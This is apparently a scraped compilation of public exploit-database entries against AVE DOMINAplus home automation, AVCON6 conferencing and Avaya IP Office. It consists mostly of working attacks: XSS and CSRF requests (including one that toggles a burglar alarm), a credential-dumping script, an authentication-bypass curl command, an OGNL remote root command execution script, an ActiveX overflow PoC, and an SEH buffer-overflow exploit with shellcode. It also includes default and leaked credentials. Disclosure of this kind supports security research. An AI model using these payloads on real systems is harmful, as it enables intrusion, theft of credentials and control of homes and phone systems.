# Exploit: AVE DOMINAplus 1.10.x - Cross-Site Request Forgery (enable/disable alarm)
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: AVE S.p.A.
# Product web page: https://www.ave.it | https://www.domoticaplus.it
# Affected version: Web Server Code 53AB-WBS - 1.10.62
# Advisory ID: ZSL-2019-5547
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5547.php

AVE DOMINAplus <=1.10.x CSRF/XSS Vulnerabilities


Vendor: AVE S.p.A.
Product web page: https://www.ave.it | https://www.domoticaplus.it
Affected version: Web Server Code 53AB-WBS - 1.10.62
                  Touch Screen Code TS01 - 1.0.65
                  Touch Screen Code TS03x-V | TS04X-V - 1.10.45a
                  Touch Screen Code TS05 - 1.10.36
                  Models: 53AB-WBS
                          TS01
                          TS03V
                          TS04X-V
                          TS05N-V
                  App version: 1.10.77
                  App version: 1.10.65
                  App version: 1.10.64
                  App version: 1.10.62
                  App version: 1.10.60
                  App version: 1.10.52
                  App version: 1.10.52A
                  App version: 1.10.49
                  App version: 1.10.46
                  App version: 1.10.45
                  App version: 1.10.44
                  App version: 1.10.35
                  App version: 1.10.25
                  App version: 1.10.22
                  App version: 1.10.11
                  App version: 1.8.4
                  App version: TS1-1.0.65
                  App version: TS1-1.0.62
                  App version: TS1-1.0.44
                  App version: TS1-1.0.10
                  App version: TS1-1.0.9

Summary: DOMINAplus - Sistema Domotica Avanzato. Advanced Home Automation System.
Designed to revolutionize your concept of living. DOMINA plus is the AVE home
automation proposal that makes houses safer, more welcoming and optimized. In
fact, our home automation system introduces cutting-edge technologies, designed
to improve people's lifestyle. DOMINA plus increases comfort, the level of safety
and security and offers advanced supervision tools in order to learn how to
evaluate and reduce consumption through various solutions dedicated to energy
saving.

Desc: The application suffers from multiple CSRF and XSS vulnerabilities. The
application allows users to perform certain actions via HTTP requests without
performing any validity checks to verify the requests. This can be exploited
to perform certain actions with administrative privileges if a logged-in user
visits a malicious web site. Input passed to several GET/POST parameters is not
properly sanitised before being returned to the user. This can be exploited to
execute arbitrary HTML and script code in a user's browser session in context
of an affected site.

Tested on: GNU/Linux 4.1.19-armv7-x7
           GNU/Linux 3.8.13-bone50/bone71.1/bone86
           Apache/2.4.7 (Ubuntu)
           Apache/2.2.22 (Debian)
           PHP/5.5.9-1ubuntu4.23
           PHP/5.4.41-0+deb7u1
           PHP/5.4.36-0+deb7u3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5547
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5547.php


06.10.2019

--


Reflected XSS in User and Password POST parameters in login.php:
--
<html>
  <body>
    <form action="http://192.168.1.10/login.php" method="POST">
      <input type="hidden" name="cmd" value="doLogin" />
      <input type="hidden" name="User" value=""><marquee>SLIDERS<&#47;marquee>" />
      <input type="hidden" name="Password" value=""><script>confirm&#40;251&#41;<&#47;script>" />
      <input type="hidden" name="btnLogin" value="Login" />
      <input type="submit" value="Send" />
    </form>
  </body>
</html>


Example CSRF schedule temperature for day, afternoon, night: 19.0, 18.0, 15.0
--
GET /bridge.php?command=STC&parameter=25,1,1&dati=190,180,150,1454025386,85,-1433059328, HTTP/1.1


Example CSRF enable/disable alarm:
--
GET /antitheft.php?command=Attiva&codice=32&rnd=0.8815229032260505 HTTP/1.1
HireHackking 
# Exploit: AVE DOMINAplus 1.10.x - Credential Disclosure
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: AVE S.p.A.
# Product web page: https://www.ave.it | https://www.domoticaplus.it
# Affected version: Web Server Code 53AB-WBS - 1.10.62
# Advisory ID: ZSL-2019-5550
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5550.php

#!/usr/bin/env python
#
#
# AVE DOMINAplus <=1.10.x Credentials Disclosure Exploit
#
#
# Vendor: AVE S.p.A.
# Product web page: https://www.ave.it | https://www.domoticaplus.it
# Affected version: Web Server Code 53AB-WBS - 1.10.62
#                   Touch Screen Code TS01 - 1.0.65
#                   Touch Screen Code TS03x-V | TS04X-V - 1.10.45a
#                   Touch Screen Code TS05 - 1.10.36
#                   Models: 53AB-WBS
#                           TS01
#                           TS03V
#                           TS04X-V
#                           TS05N-V
#                   App version: 1.10.77
#                   App version: 1.10.65
#                   App version: 1.10.64
#                   App version: 1.10.62
#                   App version: 1.10.60
#                   App version: 1.10.52
#                   App version: 1.10.52A
#                   App version: 1.10.49
#                   App version: 1.10.46
#                   App version: 1.10.45
#                   App version: 1.10.44
#                   App version: 1.10.35
#                   App version: 1.10.25
#                   App version: 1.10.22
#                   App version: 1.10.11
#                   App version: 1.8.4
#                   App version: TS1-1.0.65
#                   App version: TS1-1.0.62
#                   App version: TS1-1.0.44
#                   App version: TS1-1.0.10
#                   App version: TS1-1.0.9
#
# Summary: DOMINAplus - Sistema Domotica Avanzato. Advanced Home Automation System.
# Designed to revolutionize your concept of living. DOMINA plus is the AVE home
# automation proposal that makes houses safer, more welcoming and optimized. In
# fact, our home automation system introduces cutting-edge technologies, designed
# to improve people's lifestyle. DOMINA plus increases comfort, the level of safety
# and security and offers advanced supervision tools in order to learn how to evaluate
# and reduce consumption through various solutions dedicated to energy saving.
#
# Desc: The application suffers from clear-text credentials disclosure vulnerability
# that allows an unauthenticated attacker to issue a request to an unprotected directory
# that hosts an XML file '/xml/authClients.xml' and obtain administrative login information
# that allows for a successful authentication bypass attack.
#
# Default credentials: admin:password
# Configuration and camera credentials disclosure: /xml/tsconf.xml
#
# ==================================================
# root@kali:~/domina# ./poc.py http://192.168.1.10
#
# Ze microfilm:
# -------------
# Username: arnoldcontrol
# Password: P1sD0nt5pYMe
# ==================================================
#
# Tested on: GNU/Linux 4.1.19-armv7-x7
#            GNU/Linux 3.8.13-bone50/bone71.1/bone86
#            Apache/2.4.7 (Ubuntu)
#            Apache/2.2.22 (Debian)
#            PHP/5.5.9-1ubuntu4.23
#            PHP/5.4.41-0+deb7u1
#            PHP/5.4.36-0+deb7u3
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2019-5550
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5550.php
#
#
# 06.10.2019
#

import sys,re
import xml.etree.ElementTree as XML

from urllib2 import Request,urlopen

if (len(sys.argv) <= 1):
    print '[*] Usage: poc.py http://ip:port'
    exit(0)

host = sys.argv[1]
headers = {'Accept': 'application/xml'}
request = Request(host+'/xml/authClients.xml', headers=headers)
print '\nZe microfilm:'
print '-------------'
xml = urlopen(request).read()
tree = XML.fromstring(xml)

for user in tree.findall('customer'):
    print 'Username: ',user.get('plantCode')

for pwd in tree.iter('password'):
    print 'Password: '+pwd.text+'\n'
HireHackking 
# Exploit: AVE DOMINAplus 1.10.x - Authentication Bypass
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: AVE S.p.A.
# Product web page: https://www.ave.it | https://www.domoticaplus.it
# Affected version: Web Server Code 53AB-WBS - 1.10.62
# Advisory ID: ZSL-2019-5549
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5549.php

AVE DOMINAplus <=1.10.x Authentication Bypass Exploit


Vendor: AVE S.p.A.
Product web page: https://www.ave.it | https://www.domoticaplus.it
Affected version: Web Server Code 53AB-WBS - 1.10.62
                  Touch Screen Code TS01 - 1.0.65
                  Touch Screen Code TS03x-V | TS04X-V - 1.10.45a
                  Touch Screen Code TS05 - 1.10.36
                  Models: 53AB-WBS
                          TS01
                          TS03V
                          TS04X-V
                          TS05N-V
                  App version: 1.10.77
                  App version: 1.10.65
                  App version: 1.10.64
                  App version: 1.10.62
                  App version: 1.10.60
                  App version: 1.10.52
                  App version: 1.10.52A
                  App version: 1.10.49
                  App version: 1.10.46
                  App version: 1.10.45
                  App version: 1.10.44
                  App version: 1.10.35
                  App version: 1.10.25
                  App version: 1.10.22
                  App version: 1.10.11
                  App version: 1.8.4
                  App version: TS1-1.0.65
                  App version: TS1-1.0.62
                  App version: TS1-1.0.44
                  App version: TS1-1.0.10
                  App version: TS1-1.0.9

Summary: DOMINAplus - Sistema Domotica Avanzato. Advanced Home Automation System.
Designed to revolutionize your concept of living. DOMINA plus is the AVE home
automation proposal that makes houses safer, more welcoming and optimized. In
fact, our home automation system introduces cutting-edge technologies, designed
to improve people's lifestyle. DOMINA plus increases comfort, the level of safety
and security and offers advanced supervision tools in order to learn how to
evaluate and reduce consumption through various solutions dedicated to energy
saving.

Desc: DOMINAplus suffers from an authentication bypass vulnerability due to missing
control check when directly calling the autologin GET parameter in changeparams.php
script. Setting the autologin value to 1 allows an unauthenticated attacker to
permanently disable the authentication security control and access the management
interface with admin privileges without providing credentials.

Tested on: GNU/Linux 4.1.19-armv7-x7
           GNU/Linux 3.8.13-bone50/bone71.1/bone86
           Apache/2.4.7 (Ubuntu)
           Apache/2.2.22 (Debian)
           PHP/5.5.9-1ubuntu4.23
           PHP/5.4.41-0+deb7u1
           PHP/5.4.36-0+deb7u3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5549
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5549.php


06.10.2019

--


#
# Mina... Mina, open your eyes!
#

$ curl -s http://192.168.1.10/changeparams.php?operazione=3&autologin=1
1
HireHackking 
# Exploit Title: AVCON6 systems management platform - OGNL - Remote root command execution
# Date: 10/09/2018
# Exploit Author: Nassim Asrir
# Contact: wassline@gmail.com | https://www.linkedin.com/in/nassim-asrir-b73a57122/
# CVE: N\A
# Tested On: Windows 10(64bit) / 61.0b12 (64-bit)
# Thanks to: Otmane Aarab
# Example below:
# python ./rce.py http://server:8080/ id 
# Testing Target: http://server:8080/
# uid=0(root) gid=0(root)
# Vendor: http://www.epross.com/
# About the product: The AVCON6 video conferencing system is the most complete set of systems, including multi-screen multi-split screens and systems that are integrated with H323/SIP protocol devices. High-end video conferencing 	
# software ideal for Room Base environments and performance requirements. Multi-party video conferencing can connect thousands of people at the same time.
# I am not responsible for any wrong use.
######################################################################################################

#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2
import httplib


def exploit(url, cmd):
    payload =  'login.action?redirect:'
    payload += '${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22'+cmd+'%22})).'
    payload += 'start(),%23b%3d%23a.getInputStream(),'
    payload += '%23c%3dnew%20java.io.InputStreamReader(%23b),'
    payload += '%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d'
    payload += '.read(%23e),%23matt%3d%23context.'
    payload += 'get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),'
    payload += '%23matt.getWriter().println(%23e),%23matt.'
    payload += 'getWriter().flush(),%23matt.getWriter()'
    payload +=  '.close()}'

  
    try:
        headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0'}
        request = urllib2.Request(url+payload, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial

    print(page)
    return page


if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py http://target/ id")
    else:
        print('[*] Avcon6-Preauh-Remote Command Execution')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] Executed Command: %s\n" % cmd)
	print("[*] Target: %s\n" % url)
        exploit(url, cmd)
HireHackking 
# Exploit Title: Avaya IP Office Application Server 11.0.0.0 - Reflective Cross-Site Scripting
# Release Date: 2019-12-11
# Exploit Authors: Dan Bohan, Scott Goodwin, OCD Tech
# Vendor Homepage: https://www.avaya.com/en/
# Software Link: https://www.avaya.com/en/products/unified-communications/voip/
# Vulnerable Version: 11.0 FP4 SP1 and before
# Tested on: 11.0.0.0
# CVE: CVE-2019-7004
# Vendor Advisory: ASA-2019-213
# References: https://downloads.avaya.com/css/P8/documents/101062833
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7004

Avaya IP Office version 11.0.0.0 and before has a vulnerable login page (username) which is susceptible to cross-site scripting (XSS) via a POST request due to improper sanitization of user input. XSS via a post request allows for arbitrary code to be executed on the client’s system in the security context of the browser. By submitting a specially crafted username, it is possible to execute arbitrary JavaScript.

# PoC
Username: 41529%22%2F%3E%0A%3Cscript%3Ealert%28%27XSS%21%27%29%3B%3C%2Fscript%3E
Password: Anything
HireHackking 
# Exploit Title: Avaya IP Office 11 - Password Disclosure
# Exploit Author: hyp3rlinx
# Date: 2020-06-09
# Vender Homepage: https://downloads.avaya.com
# Product Link: https://downloads.avaya.com/css/P8/documents/101067493
# CVE: CVE-2020-7030

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/AVAYA-IP-OFFICE-INSECURE-TRANSIT-PASSWORD-DISCLOSURE.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec


[Vendor]
www.avaya.com


[Product]
Avaya IP Office v9.1.8.0 - 11

IP Office Platform provides a single, stackable, scalable small business communications system that grows with your business easily and cost-effectively.


[Vulnerability Type]
Insecure Transit Password Disclosure


[CVE Reference]
CVE-2020-7030
ASA-2020-077


[Security Issue]
A sensitive information disclosure vulnerability exists in the web interface component of IP Office that
may potentially allow a local user to gain unauthorized access to the component.

The request URL on port 7071 and the web socket component requests on port 7070 used by Atmosphere-Framework
within Avaya IP Office, pass Base64 encoded credentials as part of the URL query string.

https://<TARGET-IP>:7071/serveredition/autologin?auth=QWRtaW5pc3RyYXRvcjpBZG1pbmlzdHJhdG9y&referrer=https://x.x.x.x:7070&lang=en_US

wss://<TARGET-IP>:7070/WebManagement/webmanagement/atmosphere/QWRtaW5pc3RyYXRvcjpBZG1pbmlzdHJhdG9y?X-Atmosphere-tracking-id=0&
X-Atmosphere-Framework=2.0.5-javascript&X-Atmosphere-Transport=websocket&X-Cache-Date=0&Content-Type=text/x-gwt-rpc;%20charset=UTF-8&X-atmo-protocol=true 
 
Base64 credentials: QWRtaW5pc3RyYXRvcjpBZG1pbmlzdHJhdG9y
Value: Administrator:Administrator 

The Base64 encoded credentials can be easily disclosed if the machine used to logon to the web Manager is accessed by an attacker.
The URL plus the credentials can potentially be leaked or stored in some of the following locations.

Browser History
Browser Cache
Browser Developer Tools
Cached by web proxy
Referer Header
Web Logs
Shared Systems


[Avaya Products affected]
Avaya IP Office 9.x, 10.0 through 10.1.0.7, 11.0 through 11.0.4.2


[References]
https://downloads.avaya.com/css/P8/documents/101067493


[Network Access]
Remote


[Severity]
Medium


[Disclosure Timeline]
Vendor Notification: February 19, 2020
Vendor confirms issue: March 4, 2020
Vendor release advisory fix : June 3, 2020
June 4, 2020 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
HireHackking 
[+] Credits: John Page (aka hyp3rlinx)	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/AVAYA-OFFICE-IP-(IPO)-v9.1.0-10.1-VIEWERCTRL-ACTIVE-X-BUFFER-OVERFLOW-0DAY.txt
[+] ISR: ApparitionSec            
 


Vendor:
=============
www.avaya.com



Product:
===========
Avaya IP Office (IPO) 
v9.1.0 - 10.1

IP Office is Avaya's global midsize solution for enterprises, supporting up to 3,000 users at a single location with IP Office Select editions.
For businesses with multiple locations, IP Office provides a powerful set of tools to help streamline operations, centralize management, and
reduce total cost of ownership for converged networks. Using industry standards, IP Office enables companies to share resources, provide
improved customer service, and keep mobile employees accessible.

Provides a hybrid PBX with TDM and IP telephony and trunk support.
Provides IP routing, switching and firewall protection, between LAN and WAN (LAN2).

In addition to basic telephony services and voicemail, IP Office offers both hard phone and soft phone options.
Includes a robust set of tools for administration (Manager), call tracking (SMDR), and system monitoring and diagnostics (System Status Application).

Available editions: Basic, Essential, Preferred, Server, Server Select, Server with Virtualized Software, Server/Sever Select hosted in the Cloud.



Vulnerability Type:
====================
ActiveX Remote Buffer Overflow




CVE Reference:
==============
CVE-2017-12969
ASA-2017-313



Security Issue:
================
ViewerCtrl.ocx ActiveX Component used by Avaya IP Office (IPO) can be exploited by remote attackers to potentially execute arbitrary
attacker supplied code. User would have to visit a malicious webpage using InternetExplorer where the exploit could be triggered.

Clsid: {27F12EFD-325D-4907-A2D2-C38A2B6D3334}
Safe for Script: False
Safe for Init: False

ACCESS_VIOLATION
8C4A77 MOV EAX,[ECX]

SEH Chain:
-----------
1 8D00A3 po.dll
2 36A7E95 CIPElements.dll
3 36A8115 CIPElements.dll
4 788719 ViewerCtrl.OCX
5 788533 ViewerCtrl.OCX
6 78862A ViewerCtrl.OCX
7 6008793E mfc90u.dll
8 60089B31 mfc90u.dll
9 779858C5 ntdll.dll


(d360.1040c): Access violation - code c0000005 (first/second chance not available)
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for po.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for CIPElements.dll - 
eax=0608ec18 ebx=00000000 ecx=00000000 edx=00000000 esi=0aa7bdd0 edi=0aa7bdd0
eip=06064a77 esp=03535c78 ebp=03535db0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210246
po!cip::po::SpecialObjects::getPresetObject+0x77:
06064a77 8b01            mov     eax,dword ptr [ecx]  ds:002b:00000000=????????
0:008> !load winext/msec
0:008> !exploitable

!exploitable 1.6.0.0
*** ERROR: Module load completed but symbols could not be loaded for mfc90u.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for mshtml.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for user32.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ieframe.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for iertutil.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for IEShims.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for kernel32.dll - 

Exploitability Classification: PROBABLY_EXPLOITABLE

Recommended Bug Title: Probably Exploitable - Data from Faulting Address controls Code Flow starting at 
po!cip::po::SpecialObjects::getPresetObject+0x0000000000000077 (Hash=0x6f1f914b.0xc46b7285)

The data from the faulting address is later used as the target for a branch.


References:
==============
https://downloads.avaya.com/css/P8/documents/101044091


Exploit/POC:
=============

<object classid='clsid:27F12EFD-325D-4907-A2D2-C38A2B6D3334' id='victim' />

<script language='vbscript'>
victimFile = "C:\Program Files (x86)\Avaya\IP Office Contact Center\User Interface\ViewerCtrl.ocx"
prototype  = "Function open ( ByVal containerId As String ) As Long"
memberName = "open"
progid     = "ViewerCtrlLib.ViewerCtrl"
argCount   = 1
payload=String(5142, "A")

victim.open payload

</script>


Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification:  July 12, 2017
Vendor acknowlegement: July 14, 2017
CVE assigned by mitre : August 19, 2017
Vendor advisory : November 4, 2017
November 5, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
HireHackking 
[+] Credits: John Page (aka hyp3rlinx)	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/AVAYA-OFFICE-IP-(IPO)-v9.1.0-10.1-SOFT-CONSOLE-REMOTE-BUFFER-OVERFLOW-0DAY.txt
[+] ISR: apparitionSec            
 


Vendor:
=============
www.avaya.com



Product:
===========
Avaya IP Office (IPO) 
v9.1.0 - 10.1

IP Office is Avaya's global midsize solution for enterprises, supporting up to 3,000 users at a single location with IP Office Select editions.
For businesses with multiple locations, IP Office provides a powerful set of tools to help streamline operations, centralize management, and
reduce total cost of ownership for converged networks. Using industry standards, IP Office enables companies to share resources, provide
improved customer service, and keep mobile employees accessible.

Provides a hybrid PBX with TDM and IP telephony and trunk support.
Provides IP routing, switching and firewall protection, between LAN and WAN (LAN2).

In addition to basic telephony services and voicemail, IP Office offers both hard phone and soft phone options.
Includes a robust set of tools for administration (Manager), call tracking (SMDR), and system monitoring and diagnostics (System Status Application).

Available editions: Basic, Essential, Preferred, Server, Server Select, Server with Virtualized Software, Server/Sever Select hosted in the Cloud.



Vulnerability Type:
===================
Remote Buffer Overflow



CVE Reference:
==============
CVE-2017-11309
ASA-2017-307



Security Issue:
================
SoftConsole.exe does not check bounds when reading server response on making an outbound connection, resulting in a classic
Buffer Overflow exploit.

Avaya IP Office user must connect to a malicious server where a remote attacker can then deliver the buffer overflow
payload in the server response, exploiting the SoftConsole client. This vulnerability allows attackers to deliver and
execute arbitrary attacker supplied code on the Avaya host system.


References:
===========
https://downloads.avaya.com/css/P8/documents/101044086


POC Video URL:
==============
https://vimeo.com/224679849



Exploit/POC:
=============

import struct,socket
#Log data, item 8
# Address=50E083A1
# Message=  0x50e083a1 : pop ecx # pop ebp # ret 0x04 |  {PAGE_EXECUTE_READ} [IndyCore190.bpl]
# ASLR: False, Rebase: False, SafeSEH: False, OS: False, v19.0.14356.6604
#(C:\Program Files (x86)\Avaya\IP Office\SoftConsole\IndyCore190.bpl)

#50E083A1  #POP ECX POP EBP RET
'''
No SafeSEH

'''

HOST="127.0.0.1"
PORT=80

#shellcode to call wusa.exe Windows Update Standalone Installer (Tested Win 7)

sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x6E\x08"
"\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B\x4B\x18\x8B\x7B"
"\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31\xC0\x99\x32\x17\x66\xC1"
"\xCA\x01\xAE\x75\xF7\x66\x81\xFA\x10\xF5\xE0\xE2\x75\xCF\x8B\x53"
"\x24\x01\xEA\x0F\xB7\x14\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68"
"\x2E\x65\x78\x65\x68\x77\x75\x73\x61\x54\x87\x04\x24\x50\xFF\xD5"
"\xCC")


'''
calculated by taking the negative of the number and convert to hex:
in gdb
1
2
p/x -1116
$4 = 0xfffffba4
So now we know that our near jump is going to be \xe9\xa4\xfb\xff\xff.
'''

seh=struct.pack("<L", 0x50E149FD) #POP ECX POP EBP RET
#payload="A"*564+"BBBBRRRR"+"A"*232  #control SEH here

#(gdb) p/x -112  
#$1 = 0xffffff90

negjmp="\xeb\x90\xff\xff"  
payload="A"*452+"\x90"*10+sc+"A"*5+negjmp+seh+"\x90"*226


s = socket.socket()
host = ''              
s.bind((HOST, PORT))            
s.listen(5)                    

print 'Avaya IP Office SoftConsole 9.1.0'
print '0day Remote Buffer Overflow Exploit'
print 'Discovery / exploit: hyp3rlinx\n'
print 'Listening on port 80 for Avaya client connectionz...'


while True:
    conn, addr = s.accept()     
    conn.send(payload+'\r\n')
    print 'KABOOM!!!'
    conn.close()
    s.close()






Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification: July 7, 2017
Vendor reply "under investigation" : July 7, 2017
Vendor acknowledgement of issue : July 12, 2017
CVE assigned by mitre: July 13, 2017
Vendor advisory: November 4, 2017
November 5, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx